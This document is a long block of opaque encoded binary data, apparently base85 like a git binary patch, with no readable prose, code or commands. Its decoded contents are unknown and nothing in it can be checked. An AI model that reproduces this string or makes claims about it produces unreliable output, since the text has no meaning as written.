z(PKtP?0S^$1Mtjp>J2+&hD2&sW?VbBs7&iPHg` zXNxNli!slZbT>LFxZVnTvE|3=AFsg}_UhnW;h3Mn<*J;#>&`1$Px!iaAg5o*L}y z^L9O3wG!!yzz*imWfsqJ81jE>%s_R;`I!J`&Id^pDQ#@sS@C{o8lCA7DOht z%m^+#4bio`M|JidTylo_5l`IA;P1~}MEuAv%%{qX#&J#x{Z5>52;H@|3Z8seL|F(k zEPOI)5dQVSdo^zvA#cI;BajJ~ao5^bFdE7PUZfhA8{~vJ6{IOX__wp6h&#Aj?bIw? zzA=`jqC&UFNpTRk(zn;F>vOVvh89v?-7;oEuhlcqLvc1ny7(oQFDoEAgY@Ybr5V!AZqk-pg#W6APu5!A!;pA$J?Uf zhzb(*q7hY(P=7lGR9YoaPa087^6NxlyMn3F*B13MQO!h^7*Qm+fvBtpfU+7<+ksj| z)CQtP8c{)@77}%ysB4X=6F^NPD(69cCpddG-jsOyLlRY2_ls-z+l z2WZ!3u*LD944}^Ak=m!LUPKF1Qq?hXr9|Ewg=!)eixIPTm5iXh1?$GJr_%n3vfoAf z`^r9v_P3<{#o*6jA6$?4@22Y?lxqT3fP+`l)lS#vRX8W@PfPpWPBGt!G^O?cZ+knL z!q#58^~I$i+&ImAvE{`o+E$|uk&!ii{Abu0LF0S0jiBx6lc-fXCBeEJBwwVZ@xym7 za?Jd%e(D~I6c1qf)d9E{Fc~lgFbwcB;I;!A0A~P^aJvb>r_7IVfX4t&0tT##6!*ZK z3`hkG0sM$G06PJ7fVTl30U}pMifaIa07-x}z*ImHU@2fV;AensfPH{B0UrR)0~^+=?+ z8IS}R2bc`F2T%f73|I+x4Dcji3t%VU5a28zdNtAo7y_6GmtL-@1`zK-gkJG|*++ZJ29Coi?7-_1z zS^4q6{pQz&>G97M{2KO00i}Qic8A?nS}1mCetr(O*8oO8r%JGY(WGdVI^7J!j7&_r{f<$ilWp@0i|oYJDjmM*&=-teT~+PC+0*IsjV z&#QX$xbn&?O(s)3o-5STT|V%2`Ski;edQJ1<6>jGb?eF}Mm=4OkBpc92BbBE=cnIS za?5utayXYb%=V>)_6kp_(*YmRkgJZ*fqhMrFwM6WnQdid&O)2!DMYV%JgtT9@&*oO z^alfZVea%jY?2E_VsZNjC?r?e+l$guy8T(f_0UxcYbvtMvTm`XJJHLyoS zMn!k(+$E-Kx7fJuSHzpH>~U4ktFO7X*LBz5(EG-l`k4Fn>px)N&9@A?^|rx7h7KDZ z&c-n*sbj~DPfMSWk!hJYDJy&Ool~q+r{&x=JvR?ufS5IV&fWLSy|-ZArM2f<%PSvv zP!tRsB8DN21%MR5SOP8o%OA67`x_+mUt3H^?^&qgzUsG9wEwmCze0q65#sWGMhXv! z@DFX=W&QN<=Ktln&*Zny)sla;21Kj~{UR>&(Q}aILlNO$WW?qD^ziLd|4m)Kt^_cq zp7`l8@-1vPiOWo|=B=&&%S&z8mq~=}$`&D;psE!Q`Btua_>tBAM+0lBAN%&&?|k=r z>mL9957z(iM?ZezCr|!#!&5(ddgG>Np56TOU;J{*ubz8;>#u+FAKQNWyBD^<_|nTe ze!ugTn%Y-)?f%1_z5Dhbc%?E){%gZKC*M8w-s$&) zjUP0f`S7EUoB#IrPd@$6v**r#_W2hVFwhbIYy)xW2H>(9h<|tb|K0Kb)AIki2Kv%? z*+Boh(|_WI2-AA>+fH8>A^YO&yBYg;x88!j4aST609hhSj1lGdjS+7A_!McsA*fHS z+RrTA=(0@v35gjl-G@szhRuO1pLEU46n0SvC>QhbpS@@yrV6K6+{SGhe0kum`^p8r z0xrgo>B1`(0NilrGa2?W#H`yL@XaS3Azh*rIPz$Ny-?oUHWB#wc=Jj(J)BKA3@(aa zokt-QUs!OI{E#+z(BoDn`^=1o6jj`Myx2)83~dop}l;*U1s=H=i-okTA{~D=Uj|7bjNh> z0a8k4;anUU!gu2PwYHdi567be>0ySz4+@?&#IE8-ELFF=+yLd6muTbVzKjS2JxMh7|}W z;9tO>fFA+8xKmifbZ9t6DI!sfL_a+fHVi%(UzvNN%WkKcYxm5sl_4DLlMMEB4zcKW z5F}6SE)%!%RSa@?%gU5h;HX?@ftJoBqB@Jt7}r}YmQH+bPeA#jXY=TsSzThpsDy-> zIoN(@He+oNI7<`G(gd3$65tL~R5+Iia**M4S(cW1 za$L?rJ2kf)<)#pN?Sh8ekt;<~wxlLRC+vH~wfyqA5%y@!{(XbJ8g|Nu&tnEVE^!LE zuQk|lM`y_Wy9WFB4EAl9ZqjM~)?nw@nTtfA$6Wy6ndQ)fI-(rBn*lETm=-gzLUb41 zq?rdjn}$-G+sco^=89}+<)jWUD60r%Ma@MYM(R4<>EaHN0Buf`F%5;Eba12UX4cVW zfD`{&Gm}3nILHPsW-0L^=~gT`E|-2wkP5-n_BSZP^Kv<^O4u6!^0;JW97%C8!tvmTq)XQM1)Y6r76{Z|MnPcR>tzL}? z#nZ7~kxJ|QCT(5b8K`gb@Xmap>=i~yn6Z(+VgD_9(Ka0kp>*gx>2m8R1x0P-Fj9;T zg=cQtWT{Z;Vd?6KhFR(y^;YMF6@kjXkz!Pcp3cYR<=+ySPaVbBJ`auY-SH2^M=fO; z?Kp*B9pCMt_$r{2D(@GAmJ2l5$18)>+Ls)?EQTef%PT2F@ABnUAT`=9mLgsc$}Bn7 z->8XtE{0>%^Jj!e4#n3|emjw?%r8~*u{=9v?Z8^njyjRGlwDGgm47JTN3_u+azje2 z2UOj{dWt&JQC%O-&k+XwA%E@Zltap_<(TpkDSw-+yHp*p=xgc!Bl^-hCia;rVmIh(Y`Km6 zB^dJO^67FE!?BM}(H-Je*QW&ZHuZEDBVU|SHmo(+)>Yu0cGlu-o!HVT$*}cMwYv&K z?F!3+`oLACs=<-`9*GzPlYNuA+agWub*zSIf|&sGO1j?~Y3f0Dm{-vqW-pjEgCb4W z!K{FJJxl=;H`a-@w?vwH!%TyT%Oiz=*$2kxn>Nyl;fb z#gx@B<$)!bT>G2{(<;jb+eem}VwvU{aAUevt&kxG<7Y-qNzD%Ttfs&hM~IZR93r6Q z;18EPKwhM{Kw{bMvW8auG16EhrMLwD$H6!Aq%~y=!l^!6U+88x^wW*h#(*=1$+ z1-3Ht{AF1FaNF=-s-eZ;{Plky7BGBMHXDCA0vbSmYNNx9wO!C(Z> zRHqrEh(&I*ZLzJi%r?IaL?)J&*&ViWJ62SPb#M$j-R^dJU4?dYk=<6r5D4HbEs{il z^Okv(Z<}j@9FJu>%Wb7tD$N$+Iugcy(9Uz(bk6*keX|itLL^k!td5j6K_7tEg}}F(R}< zIN8IeVWG(3aXHJ(&I-FrElP!WfRjVU>kji3b~7Ul?f5|&y_6t%%7*03MY_-_Pfsfc z$k**HEYVpN+2!QS?viOoc*(ncX{p=eHp*D0E41FG32_3~)ryK-9HivfUFD^2H*>Yf z?kJV{U|1uQaw31Be8UL3!s)VMl)TLBbr^D6>Of&hX<3mOtZ@WnN1iY)nHxoRccH7a z0xBgeOYMc`VyCOz2F=oVN_QcB|9$b2(2YQAlO6Mmrio|2)9oLDo~?6zX8H`{<&~=4*Qa!_uFk{Hb;>tfhZBBEPEx+GU>Je40z1* zU8NorEyQhiERgPn_uC6OxYdd2K2U@un_jm~c#&8ycyTX*){yTd_M%dE$Hdlfyc%q8u%@AmO0Dkmol2LKNK8RczPW3on@tq;YELEedzG0 z3`hC%K$3R1edv6b?f%lTQZ;wsaJrV*7vN>6V;SsjR(4^x`OZa18{-VQ!44f@@S%Es zmb#dG)CicsFM#$N(E59scPVDlP?NJx*Zd&eB_6v2dmW%vnwt%iY^XjlB6Fc(DG5cR zzqg{J`GFv9MTRi*?PW}q(o=FrJ=8da-QbP{>+YfQ#|3_^{OLGZ4h`i?cW2qr?F*q{ z%ryNSHFL-gZ7ZEW-!6r&q>dxR8D} zw8$=&MY>_$X@LzHPaO%np$#rAmX)^d#`3NecikUNK#2$m7Buu&Wd=zV5JD^G4ny{b z+{{{H$hYo~_T{%nnk-ZEMTutSX=au*(?uH0sZ%D1B>A2p5@62B$`V7QnJosu%*e_W zCe8gql6nuqoRgI;j?4Evu^T4oY=z1AHcB&Htdr&xv09oL!XwQIqC}e6VwN-~iz(8a zBa)<(V!RhqeC1I$cIx>zI446#(2 zQ$&e0bHyx}mZ{ky3ubm+F1~IE{-;eBgEX_JG^dISBe91tZ-NNIwB+WBdTCA&`=mKV zY?J0Ru|b*{Vx=@Qg-4nb#XM?ngBUX&lYE3=FYfN zoPaqeeWIv?c_-vrqrGp_-Z#L^%bOtebiIxc2tbX0Vl z$rN*A%(RRgkq(#|s!yke>QnpRgapp}nlto0L(}FjL{Hf~h1-;zu3IFo%;t8Rvr5rP z#45rvb7rXTL$okYu(|E#4CyJ|<+3e+o6 ztvn1o86<)9wUb+iA`|l}$}oCh&mGC*zOlRKnhVREZm-L(($^Mmz|M1)J4)p~Gk56% z=DSXTdV!AH-E+Z*%G<@o9*(10(*B>q5J8O0j52qpB*Ma z%yXm2*wEK!ra>|W<<#`jUTotC)R=;>s6zBF8D23TW{>G&|A(1C{#un;t+3MFgYxYx zR(=+9z=AwmJYVKM9p`D9K>NMec()vIGaxl}tQa?LtQZLUaKKQ&V8CsF<;&scW|#~E zcmOa6Yk5OpB8Z$ZKyZF@Knw&72Mir|n?MlEQov5YzrlDJis=Q8HCbiASx`s&BJ5Z| zU%aP+$T;}XbXn>#{S_2ofLK<#z=5$-K>>!F5CxV@VXyGG?nr`Zx6Lo*dtsSN8>bZ% z6x-Y$^-@saDJf;1q1Rea;Pw=S{8ZTJtm43~*TOR3S%DP|q8lI6ILsXZE{u&dH3Loo z>H!AdINd^dIC&_8Xy1{QV}QM44?r} z4>$GuwA|tGryFmLn!MSv%$j7=OSJ&IFtB>e^*VJ@&Px@z1od~)#Go_g;-7~Ph zITesE^27kR4+AX1Odr=d?!g=$*Hug5!ntJ5DK4;kGPPa;lOQGltLAn2pL--Y2hSBI z&Lwl6kMpaX&*O|d*EG2jNSVbd3 zm4K>RL6udKxCLRBU+*~y@qx`Gz{SltCyPWyuW7g)vThAbmkvN7Z)#v17 z^=Phey5)#RsOnP9!g1C@Rq3gDjVXlQ4b$gg@E&Q%c5GK++4bw<> z@(5x2d}M370}%dKphKSL@gJTXK+Hn$k24Ry9w1EL1^f~41z_Aj@B?@VP!4DYya%X+ z--UqfrQx#@MF#sl&{{tCAeT!4cI|zw1M#N{6SYm>-%xBTb90=E?j{YagCt-*NIhm; z6Uen~t~_(D+zo2FE)_x3xEqUWMqGX6`mxe<&Uw?X4cbMmyG^6Uy&nL~7)^mW1?E7M zXA7{5xWXA}`Y=cM8*o**Nb3cn@1oivaIV5~jHmg{dBCsh%NB69AI{ zQvf!=62Np%SvGpBxl&z0TYJyPyborYLe6MUr=rYr_YE3EJmHP_YJ;WP#@F7Re)nm7 z?s5v#1qX)207tnnJyRx3Z!Z$2K7e@(g=u9e(orHzH!KjQGAR`|WVM(iP>!camwZT2 z)en>=*Ws)%)p|8|J;($3(tifRa`hz}a$`+HS#vdl;mo0*?tdC;4>R`dp(_E~G-+p} zdz;KxBRBef7v>i8JOz*os-)}%s9g)(CCB)bNy=tW!yJdk71!`l9g4Y{dsmouYw!6; zDZ_@jRH5mIG3x#@pjF&$NUdVLdMsx2ddwQFJjBDg%C7m){g4J9wU%NB=ZsI6St(iu zu4@)yKMUhfyBc(?icjqrVco2!?dxdiK6N@B=Zr3Wv*eF^DQo~UN?U8$vA&-s^UEwM zWqMU!u#aaJ-$H0T9z9;l&-h~mVOgtGaQ6-Op)hX}0F`pBQ{htZu5w_StSKC519jgM zu*Nk7Zwmkp=v)!_B@bLF)#Za%Eqt!bk8tR0glWIGV~~M9L#SFsr=Lc0kO1|zueA3w z#KzsF{oq=Op0W8d=%{oliK#N8R@L-YI32O;vNH0OCR3^NLCLco<*pl5vQ%!;T|E;a zAD7f9YAkC;wNr>Ye^hJCR+zhcR7*|Sv5n?_vjs4@KJJ9u-O>l8QYiO{R$%XKDSVX3 z62;I)9CKy~Lb+Q>F%$3Pg0Ydd9olY()~Hg&@<|@Jr;B|L)e8vM>V0K`RDYl~U6n4T zlXS^FYaI13r&V93Ej`MJJbMhe)v;bE%@6C<vbo8#AUEBbGrb@`*D}2Tz0zp~6Y?icv`m*g81R@r#X+|8yzFUHbsvhC49sEJ zv#@G}l?d`J``4w5!AvH$N5YRh$EdFYCyczE>1*RQiV4A!hCISb4|0jE&P3UcvlUXi zvAAzw6!P)wetN5OIrMJ-T55V()A?iWWy`*?2Yn`LA#;x$XG)X1+`jtPnm^KWp?r*m(QDre(J8oP491qW zEzOST>7`z$(l*Rjy?+(Guj1oUG~3h5mi4GZ)_p7=mkQajdzhZ;V;O5Cz5m7iVXf;W z9rKU$%(z3;t@SmBqb*kZ#jzd_-M>_io+Cz zDOpY}h>tzQLii1je|0J>t70dg%#Dr5!c{BH!kIc{ezys6LF^|mMOUZ$JwAPnz zPMh_v8(L#VO~(D{R@lDkr}sO<;l4f$>FME&H33uobw54aRGCL#=R1to!)2p=3cG&2 zO%FE|J%07W`5H||+yF66j=Au6J9&Re?oG|5ZoME4> zZF;y&gmOUwoQY%Ib*Xgeq4jXOl-ruD&n}gA;==I-wbT{K(#^V!^#S+$s(MbvsK?hn z97h2ihha!PT)1v!Y5w}39!}{k_bgtHwuj?uD-XW&;Ygx2w{lw!`a2xSa<(a~EtCky z+1%Nv&j#t7>-?z^SusL#tn~FiJ=_$eN7cEiCRchDu5sH^(!)&$Pn;3so?q^GRdTs> zXgyqOc~A~)={PUUSzh$5K`&e)2f>Y_bp;rQ~J=l{Y=zCysMcm z>Zqz))%<{}$ytl5xOMGeS!L)(_~#0M8Nl^M&bv%;+p;+(&cS}S!ex0b>=%=JP~k4e z#<})FtYk}nE;;_y9Eg|WRnXAqJdI8*l!1zt|lM12zd60}3<(e81o(tlNQwDN&I&v{j%*IT+G0Z)v7s7lp54yE- z(bE|&XZrk}D%Wa0QpZ}r0rN@e9yRw;Ju~VF+hz7PD_}B|>d_O!_FI=7`*)X5w|$TA zpQqQl=gyk=(mh#YKUSsDE@z{dD@udgrVYvar_#qBEzjApkJCCYjpLrn&6oD_>$u0P zXmbvj4^7T^vi>PUdHxpce2n(4aN|6>-dAkjpH?+pdw*^F&#nDky1(4oU&nPD^;`Ml zoVQ1t^PYn8qWZ=9Y&Z6~8s@|~Pq!E$b*y^F`C>VH&9+vZPhpOS=a1D0hPuQ0n00BR zrc0`IZ$J8C31Nxmx)!xbt(5%N(PtSpBaUzlu4?LV`q@UXrBeE%<`nwMyyd@tWL}wR zEi=s8Q)i7b`bXxNb%xkZaYRl&_1>+L?LQ~+f1d88B&|4SUy*vjF%rj`v@5MweS`4G zlj%@xC(9a72ZnoAoF!&mz!sLLT0KJb{N1u_s+k0ylq!cWt^r)CN2TIa{u!UX5@km_ z%W=7CVR$x;a|6V3EWxvMq&)JHT>NAD!v12>f3d!pFVWNC3RY&T6fc*prAl!nQg?T# z{$l>jg^OOF>3PH)&2g2M^O^_h_9Do|1^zkTs_GifYp63?>=Ub!t+bS~ zonWRWvL9S3buY}bUb9}RU&+xr)6W`)X;vrO!aa^~_#EI0<^C4cpHwSYmmfdxJo#!~ zxprubS=m*~AhdkzstPOqf3yBb>;41F)mP=Du{P9O@NW`dBjl;CyNCN!jFCN$a7{}W z*6h?yY6^Re`aC9*XfD_gIU)Z3^Dk_A{1>BN{{5fd`0Mhw#y(`->#|KqoD>p-v^0#* zYVGii-nM-Y`_?MdS;qjB4OEr_w9h5*h?ba;U_}#z>6(uO#>Li(aj8h zK?AKQxShv)4DRMM(xX4d!^cR^7?!v+_#2I|wDTdoEWFQZLy!JCqGt@t@blnrwSgYf zv>xvpG&kbukB^ZrV;JIA!e5<%4&!dX`xyf*`sqk!#&D#y75;kTo=w{Mkk$~qj|S*` z(N9OTjNuse1pJj4Xi;8E@xB^h{S2 z{-80(heExL_w|6bGScH~ zOH&W86Db4DeQjvg8EH{&G7$bTJvn%vrMc;0h;JLlC~G6m$OpsKgSU-s z;@F1w9hw{Q^vB0Y#~6mVX81c}pu;p?zD|e;b`YWT3L9{ zGti=+j%exOa%4!zXI$7 zybHJpxGnI0?$76MiQHUM4*ybkyqATBZz*N8-l34pnP4j=TD=&s8k4)$k`tG(Me zAtZ4pDpa{V19L0j9(-GdVay$b{iIFUUiYc6gJ2rNvQJAI#(2|kXFlIownRwW8kqfX zcRD%GM0omd`%vx-^Bc`C-9k)m*bf@wVfaHm6dl?F2K!GmyH2C7O}Hhv@04MZVP*hye?~s~ z^o}qM0;JKS_FQ{ogp@m9K~l;@$5EbyEiRm?(eh#k>~uQ_Q};)cZhZ83x3%GK+D(eT zR}kMmfbP#I$2-gsrZE5`9V7pTfjg$*-@?7F^tart+LYBWb=_nimN-2<)ayM1Thleh zOTSOyI}bEF;*0M0CAP-5&9@AEBjT&V?;X<`Z%h}%{XHctlZe!?y{*4(W5c)_gWc%Q zG9|)f0~q)7#ZyWA|ek$Bn zLpZ%HIH-kN+9q625Wx{qNsD76BTeES0gml$5aFZom8_0vo8iuIJKBV2+5H&llFL%@($ODtf#QqrdVRJAVf6ZJIqYD3sr#e(%8lW8 z_@0G#@=Rdgl3_kI#G$)IFIBuyKF5Kl|DJGz(dyB8&`l$9kU1PT;~`XNbV+X>>~yQT z47&8kM>o}*`v0xo;dtm0iTAc?tT)7=r!lDU!ZdD&ong)!{E-$PJ#D(FT-E(;S60{y3zNC`TbO* z+Y@fOKi$;%)J@%;=IWaEbnh|HodP@4QT7e#KK4p`y4wtNH)?cue?z+4f83sK+_%DV zxS-MP4L4&tY1h-Qn@0TX@3yB~WT2Y|JLTZ{hICJ?Y)^NGf$kQK?!j+JcV=;Wx;>YN zXD^y{V(pJ#7Rx6DBI9*yquZ%Fs9qV{xm8|ZG+=pO%ubmtbfr`x+S zEQdJQDTg62jp?LaPrq&&@!z|G9(?dcA{ zR|55RsVD4|LlR75I%(I_ubW1E_L%l`mmBDoX>`|oL%M(Jpp7|hpu1b6d+Hm~J$X}m zeuv<@hq@ek!%jJ*!ZfCnc0K*NX~cJXygl8O2D%=N?z(SCcjmhGbWa%Q9@OZb>42{3 zA+~(#NrQbgKH%HS;P!pk*TQXeRoLGeAM9u`YYcAB;ahj3Wh<&v3!DG{JB0tUze9K> zZ+x&ii@ara!^t_!`Q@hPWDm>4C)#e~`Z|xtO_w+3Oz;*L<2c@6y7ICJ=K`lA7Z*Zc zyVlhZW(yxT4UtEZtGWPb1{Xd#bP+A1TikIt$aaYe=!z(Rljsx0;l6|233lhS!Bl1obOF zL@&}%Ijhbr@_LU>Gi{}wskjuPCGEjgO(=+Bg!hox#pc#I4PI)Z z^LUr2Bb@!XnEK+7TJrk9fdA=XB9pgZgj`TOmz1~qdV_6 zv$^b+rG+In2k+uNW5kA>7es~P%X8{Xh*G9OU5dcF%aE!MgvG&|5^|iSyroqf;MZCV z?1OK|;+cui7Q zA5$3`H6_Dpt56a^>W@X|J0M0JtVJ=iws%EV0Kf!;bIxwTD(k@kaJ#aCq^-Urdh1CcLOzi7pAl* zgV}+5Z^R#>^UB;RA!0A>R7m;dn0yp z<07RWMaof#cQ2j$s5x>gN*yZTCrp7X0?;Z^sHoU*saOTGW2U%@E~-wTFP6)6)Mm0K zvN&-4nA5>)+f=@|XNosTuOozbHcD2BxE@(vAA}87k^^Me_ZUZBY2hL*Ewxe~TGdTZ zrDc*gc{rLyG~KNiTzotS;boDQEfTb&XM3*UdR*pRuDnU~$MnILB2(Q^HYFoF6Kj2~ zDIulZBUnkRnn6Y3hHIRj!^%kEn*czuL4ay_B^9H44l9DFB@nc_~%^r@C9dJCcVp6*zmJ)QQ2k4DP*h3>Eu zg6MDchFcCG^EDy9y&rc~JdS-Iej!e;#vF8=5IcV=#9#Me{^}1nu1jZcP+PoGidTu@qA zAg|_5!!2=XX-H@*JnpXbl(hC>#N%4-0%vi7i|w3Fz=)TW@v$k7eE}}S*L}2(qhONy zc(jV8y=No6f^6->(UuBB zD5Yv#r|(+Rr;p9kvnOTc<(j8ka2>@AOXjfF+Gk87uRkm(MFlQ% zPWhvELc@2k*W;I84-ab3DfrKV|4Ts-c*a24TmxXqCvfhRCg)7K_oNembx~&k_ndSA zaBiG?Flf?^Cgnz4EI`MRF2mA{2aql!r5nFj(L)2e_XW_McWLlFU3<^a-ckL^Fsvx) zFIO{B=}P*uVKVMA&Al9^8BhV}4L}D&^2&6OpDF-(UZI%}!DL!|0OD5y7!STBhSP>Z zJgL1u1(W=31Tem50rd9*fN44eApXw);(I|Tln;S&SngKyT1E3yo5Ksfy4%h_KU@d_DSHfHhC;{XFG64yI z-hiHfIKcTE!5?4;fGq2LYwZ7*83TT(=<5Xk*?02UmRG$`#5mYCn{I$CdSeeT;$HhB z1p?)W^ZtB_pi6nwsnFB>pt7D<9$G%u-a}rhxG!OCzev-KFxSAm9_DJ8H^8id*$3uQ zm{-B9fY}#j3Ct^C&V$Lm#w?iZPvyWQnCz1b zfO$2{-Z0rW>Iw5Ym~k-Khlz&CzTX9;jeVg{VO|UK49tEogE0HUJOy(A%m$bPVb;Us zz1at0!r)V7$_&Z5N+g8rat);OCgSPduw&~F~hRN4VO0nvc-Ls5SKjsxgtyJl{L zxfb97%mZWrh#!npQt#NO*Y&ThsSDzA-F1I$!?k_a{psfA;&p%j4)d=^BTSbAt$EYS zA?BK2RJuqr!kBPfLk$7hw>Ek)prn;}!vBB%zXUE<0_#{I8XhzDvl?FIKs(|>OAE)n zteevSE$9g!M4Tjb?z>n81c-Lu4BMt7l)QG~Fsbj|th+o`?(Cb9Tjt>;pdS zq1&szzy2ECZr-u;I%SW3W&aJ2CDH!WhX)Vc@anOtY3Al9e_Jtl^RNE!lhU-hxnB-^ z@A}84UDxDGyYKsdemvufPSv+Q|76-{uWZQta7B-AuXyOiv{zF9^vvOw>^@6hJ(lL& z)3BzoYX78{zPCAj$Erp7wh$7w5B~ku;VW0% zoH@vJ?Jv$hXL|P!yFbrtdiMAy=bGM`eE;KzE%t+ZzjMVi&uzHw-KQsZw_h9QUGcDY z@%}99tO=){{a$j)?c0CzVXpPr_vViM!`zg>li!`wGWVJ0r_42Zo7Rl79r-daCs03d zuK%;Q7X0Gz^Pk-E%Fp)A{Y#Z&%Kjh!!2D?B^m)4ndXZl7$Af=7sGcvz-#50~pP#Pa zzw_hg6s7!iTJ;YcJ$(N;e%G-f_Ulg0y7q-5e;Z#H-+$$#8zyb}!?PcaPkZKfrDe}| z`u(Vfo5m-O-7(?*_x`l*mDk@N|LT`t9>D8o*F-V%H8i+ckf*H`04%Qzq>m( z#hdxZo;!c^{P?#QytFRa@~fMEeR$pY0sZ%!-0@P%2wUL(@wWWgwGaF{cX^MO3&#KX zqv6$^cYb%()n8zWsdXb(L418v6E6 z4;|eX{g-FzyRk2Boa<;i&tb%I9t0n}a29HFAV%Ey0fn3@ODmY!;T&YX#LAoSJH*c@ z##d`RZD#*k)5kY7Fq4YaBFq}&zui`j$np^{Ru&8JS+Y`(I~4nj@dG5I{3-|?N2Y~i zMc>FUKRbSak?wqN@jpPcBYL>U|7&;*bJS7z%MIR9SRBUxYVl}McNA6y{Yp8681E=N z(tT+Ob{H>boad)yb$|n{RvKfB&xLgetX;L5I5*dho;8O}Aa*joc0>k^($Rzlhf%*CZ{O2vrxwxN5 z-O;SyuuRgwkNz0*JM4YyJ#b}?ClXIIemX|E$n9xx%fMo82xYdVuz}XRlx|(Z$a?p5#EE;_KP>XNkrXbVHPvxjUv3aW(mRz@EK!>OWpRz z`;>SC6Q2D z2Yx7})^7Z|LWaDBaU?hxA@9w(l*Dwt)NPc!m6!MX7-ij7CgdwgroDBTwi0NY{!E06 zfR^zVAw7q}nt*u^=n!`A1FP%x z*4$nF%-&M0pJTV)*naXOG$1`ZM6q>XBgPol@GvjKLrEEzYOBDfR@JpT-ymJw801{S z9W(si98yy5E@R?3ngG#`Y`mcq+yWAFgG`uuygkLv{?$wPp{;67B87 z)z_;+k@eI0{KrC%WNzcs8o;qpPEY0%IzO%yT znrCFfRS6jhlM`|hYzf~=_-Vp(38xc2OK3^xG@{#xtP!0P;}UO6Oi8>a@w3F1#Mq=> zNo7eZll~(q=Jw1x3h(GT$~)?4a{8FbDH~JzrT#p%F?G?{F5`NPGmjfJZqWF|@y_x0 zkAHmp@5iJ167vw3HQ@&dKOgb@h?)_5N7zR?N8Ug3^O1cL2PFPD@%E%|C9O%i?T+4~ zZXY#f)Lo-&qn3~Q;i#8Jog8)B=%mr(M$a9+c=VJpE5_WO@|Usijg1-?J8sOlnd9u^ z+~Zb^17TFmOv^(fR*$%Ac%{i(vmVWwIFp#>e19MQlrOqAKQQI+_9dq?~MIq zY{Iyy;}(wVI{wP>=h>*F$@Wg{OSp36_>s?z{Oic~M)pp;HL)nsoj5Ydk>pK!DCw!B z-y|JRdOyi}d(j;qj_NYnF?#jrk4OKX_O3Ussw!O{43(KEnPQYNE5;b5B3*l}wb$P3 z&t4mgioB#~*kD6RvB!ijhtW5}qn_YxvYzeWFYDvY_4eav z9V$lOBae6fz!KfLZk}81ZgjW0Z@BMy$NOb|g}>Hs@w@!7GEtr&PeHBEl%9M}_R1sj zD%GrBRDEhcUMpfI;2b5WL#4UPJYaSP05R$ZE2a z>>}@w3C?8aC(g^x?Q{{_%v#uH-pF@x&t2e_xgWV!oa{~ajCY;4%B%6#d%L}T-sfJN zf1vx4)3Il;w1&yt`R2r3UMgX*9**c3Db zP3X@D!63T)WpD(YO0W~`5A75?)t+u=T7h$)V=u6|_F{Xfy%Lx!vA5b+qGzuk^-Pn= zLh>dVBJs|2XNj}I`NBD#cGCmYvf1n|_9T0aeaeoo$$T0=m(SyWa-Wg^C0~)R%f0er zIU(7D`M?p)*C z0OfS*b>$`Nb-fgA_Hw4YWvq69G=b+Bc2p5F|(LVH#o*|J~@+kG$WBf#S zoBNr2jQF0IASQ}a#Way2m;iTXTg~ogkFaKTke$p=)UZ0}2d z8<_I0+%J<xt)+d7D1-8&Gwna8Bd@g(= zd<)%(i{_|^rI*pIw4csp*8kN-gVr-UEwYle-m@O60g(S zV=_GbC=H^}O0rz+AGwvtu*T8}i=c51DiCe_8VvKjM_jBKsvt)~Gm+#48 zxkK&M2XW?I(V3MR7nLf^`Eu68p2nQ%bzc^*i9d7wIB> zoxW99>RP=~->)Ci+w=>1M!-=2OM@$*ICE^Ct+8L=?EAw{!;vsT;&305NJNoYWDdzA zYstN&f&7*(6_}CrW-?B9esF8B zI(ReK2V_Mj$+7kac9NZDxwSUSUSb#7W%eptYHx-+T5Z?b_4Z!-pl!0PcDsGScG@oc zhJDMvXFsr?+413V;Sa;f;nZ+?I5Xs-4rhmR!v*1G;fk;_+!RJK<6_=zp;PE|(fh>v z-iUXCpY9WXv;VN1h*{DKzP_&afvG2fp~5UR#r9fzi@nV@V1oY`&lv)F7l(!6l5l0X zCfpJ>g*(I7!?(kO=t?9vE;AnQmQ!4}(D=B#seJMTH4I}$j(ny#V^ zw38mD-)BDi8M~a_z}B;EY$y8@JC0A{`TR<7WCg#SUmz|KSBN5U6;QiZ>=$v~>2Rtm z;R5dVp7yqR?|Xmq=KC3v%N)5(?vQ6gDX-Nl^eTO)zDK_ZuJ^$Y)|v6af*{r2X`Ahf zcDEh0GsE-4d0}x_3SV0lwuOHT_k@wcxahtlG66H7j66(UA}2!g)0_*OxlW$5)p^pX zrT5Tjv1&Yx+P?!|b6S*#C2_GmNFMnaxsv>xTt_yNF;22G4HIy-Q{Y_fR5<_XG&oN? zoz6Q>GF`{N;m5l3+!(xV?YeswiG<%Ni zU@xG;FSA|j4Yr%T115aH4zQ2dC+u_f75fGbdki1Pzt4~7C-8}UGCze+h5tB%&wy%i zp+uH=LbQqwaYUTxJ)-`q&e3@O`cbWWkSunNV1kcl8(Ahi%WOWEFM`6=@=bgnALLWr z>Fx}dxylXQ3*E<{NZaA+mS7T8tc@dXNs&Z|Sitg&8&nS?3yd3){ka z*giJIl6Z*Bb0c5lKI%R!tXJUO<{bcj(){c7QnMAxKE(!6?Q4&V{f*YiWHy~c=hKVn zB~bD!=u&zjCj55(8vmHbx#Qh_^s7c35|iM!(>>n{ygA;*c-Ey}v3CRJ>ME$lJ>LCZ zqxXcj-8&4fW%x6ctF$Usufvlp(7(`SdZXzL)>|9JQFk2f-;4X$I=Spk_7YyF!o6Jl z1rDO#d)RC7a{Xog7C#L$Hx<7hO&q!AGfdF2!4@Qr&x7lu*WMo&+t*N__HMqBZ$^T7 zh(F4=^2hm8{8?Q6^Sqb;nIGex=HB4mhd#XNM#NddhXR(0+r(NZ;Kg1Cv@Xg2k)P>b z=+B2|(eg66925Utxe#;mBhwW01Oq{woo{c5zUJ^KZ+__~niI?RH3uC_bu0b3D18g_*rM$d~~WqI^}ax(GBMdWI7J2dimT~F_&TWBMu?345l$ck^#ee_fM7dnz26MZeb?^%@OMqtoOx!;`i;ZAh~n;AoH2>-0JO&VV!Q z9C8w9B2A*nG=)x~sWgqI(+o-|r#>|_lV;IunnQDG0WGA9X%Q`^CA5^5VFFj+`f6z% z-9+o5b&a%zw$e7Bv;(@=1(Y75BQyd>)52O=HxSy(`dB|}G$aS5(i+3Y` z_VPa7kK8-Rhj~>#phc-7T@c_S zQ)G)=kuM6N#wDUmRER23BkDxGXcW!Rg?7;i&FU5XNVmgCp%E_ut{?@TAl)NiN2ZtU z<$C#Ep;rW_Q|488RZ#IduO9qp_FBDmxSwvX*X#ENyyc{cwaF02?TSZd2`xvj93NYB;q4Yjt;ZnE{5VvU%c&9(*e zv(2_62}CDox9zdLw$Jw40ZfJ=J8Tcx!*;|*!uT*DObnC4Yr{Is-})%#Gsi@_@bK?w 